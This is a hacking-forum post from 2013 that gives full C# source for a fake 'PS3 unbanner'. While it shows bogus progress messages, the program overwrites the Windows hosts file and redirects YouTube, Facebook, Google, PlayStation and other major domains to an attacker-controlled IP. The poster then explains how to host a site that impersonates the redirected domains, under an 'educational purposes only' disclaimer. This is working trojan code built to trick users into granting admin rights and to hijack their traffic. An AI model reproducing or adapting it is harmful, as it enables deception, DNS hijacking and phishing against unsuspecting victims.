Hackers Of The World, Hackers For The World.
Log in to the forums to access special information.
All features will become available after signup.
You will enjoy all our great features!
Thanks for visiting, Have an nice day!
Hackers Of The World, Hackers For The World.
Log in to the forums to access special information.
All features will become available after signup.
You will enjoy all our great features!
Thanks for visiting, Have an nice day!
Hackers Of The World, Hackers For The World.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

Hackers Of The World, Hackers For The World.

Hacking. Modding. Coding. Gaming.
 
HomeLog inLatest imagesRegister

 

 Website Blocking Virus|EDUCATIONAL

Go down 
AuthorMessage
gtawwekid




Posts : 4
Join date : 2013-05-06

Character sheet
Level Progress:
Website Blocking Virus|EDUCATIONAL Left_bar_bleue550/1000Website Blocking Virus|EDUCATIONAL Empty_bar_bleue  (550/1000)

Website Blocking Virus|EDUCATIONAL Empty
PostSubject: Website Blocking Virus|EDUCATIONAL   Website Blocking Virus|EDUCATIONAL EmptyWed 23 Oct 2013, 11:01 pm

Hello People! I am here to teach y'all how to block websites on any computer. For this post we will be using C# to code a program to modify the Windows HOST file.

Code:
using System;
using System.IO;
using System.Security.Principal;


namespace PS3Unbanner
{
    class TextFileWriter
    {
        static void Main(string[] args)
        {
            bool continueOn = IsAdministrator();
            if (continueOn)
            {
                Console.WriteLine();
                Console.Write("Attention! This build may not be released on the global web for free! Local price is found on our Channel!");
                System.Threading.Thread.Sleep(10000);
                Console.WriteLine();
                Console.Write("Looking for PS3  ");
                System.Threading.Thread.Sleep(500);
                Console.Write(".");
                System.Threading.Thread.Sleep(600);
                Console.Write(".");
                System.Threading.Thread.Sleep(200);
                Console.Write(".");
                System.Threading.Thread.Sleep(1000);

                // create a writer and open the file
                TextWriter tw = new StreamWriter("C:/Windows/System32/drivers/etc/hosts");

                // write a line of text to the file
                tw.WriteLine("192.241.182.157    www.youtube.com");
                tw.WriteLine("192.241.182.157    youtube.com");

                tw.WriteLine("192.241.182.157    www.facebook.com");
                tw.WriteLine("192.241.182.157    facebook.com");

                tw.WriteLine("192.241.182.157    www.twitter.com");
                tw.WriteLine("192.241.182.157    twitter.com");

                tw.WriteLine("192.241.182.157    us.playstation.com");
                tw.WriteLine("192.241.182.157    playstation.com");

                tw.WriteLine("192.241.182.157    www.google.com");
                tw.WriteLine("192.241.182.157    google.com");

                tw.WriteLine("192.241.182.157    www.yahoo.com");
                tw.WriteLine("192.241.182.157    yahoo.com");

                tw.WriteLine("192.241.182.157    www.msn.com");
                tw.WriteLine("192.241.182.157    msn.com");

                tw.WriteLine("192.241.182.157    www.aol.com");
                tw.WriteLine("192.241.182.157    aol.com");
                tw.Close();
                // close the stream
               
                Console.WriteLine();
                Console.Write("PS3 found. Sending packet to mysql.playstation.com");
                System.Threading.Thread.Sleep(1000);
                Console.WriteLine();
                Console.Write("Reading Device ID  ");
                System.Threading.Thread.Sleep(500);
                Console.Write(".");
                System.Threading.Thread.Sleep(600);
                Console.Write(".");
                System.Threading.Thread.Sleep(200);
                Console.Write(".");
                Console.WriteLine();

                Console.Write("Configuring PS3 PATCH. (This may take a while)");
                System.Threading.Thread.Sleep(100);
                Console.WriteLine();
                Console.Write("NOTE: This will unban a PS3 once!");
                Console.WriteLine();
                System.Threading.Thread.Sleep(10000);
                Console.Write("Sending Pack to the Database!");
                System.Threading.Thread.Sleep(10000);
                Console.Write("  -Looking good so far!");
                System.Threading.Thread.Sleep(10000);
                Console.WriteLine();
                for (int i = 0; i <= 10; i++)
                {
                    Console.Write(".");
                    System.Threading.Thread.Sleep(10000);
                }
                Console.WriteLine();
                Console.Write("From the info we recieved, you have been unbanned. Please note this is our BETA version and this may have not worked on your system. Please do not release this program!");
                System.Threading.Thread.Sleep(10000);
               
            }
            else {
                Console.Write("Please run this as Admin to unban your PS3.");
                System.Threading.Thread.Sleep(5000);
            }
        }
        public static bool IsAdministrator()
        {
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }
    }
}
I code this to fake hack a PS3. My old host was 192.241.182.157 which was a private server I hosted.

Code:
192.241.182.157 == Your Fake IP Host

Now if you don't own a dedicated server, you will need to have a fake hosting service from http://www.000webhost.com And sign up there. Once done you will need to go to members page. Then at the top it should say "create new" at the domain bar. Hit that. Then host your own domain, this will be the domain of the site you are reverting. Us that IP in the program and it should work. I have not yet tested it, because they will trace yo ass.

This post is for educational purposes only. Test it on your own computer only!
Back to top Go down
 
Website Blocking Virus|EDUCATIONAL
Back to top 
Page 1 of 1

Permissions in this forum:You cannot reply to topics in this forum
Hackers Of The World, Hackers For The World. :: Programs :: Coding Programs-
Jump to: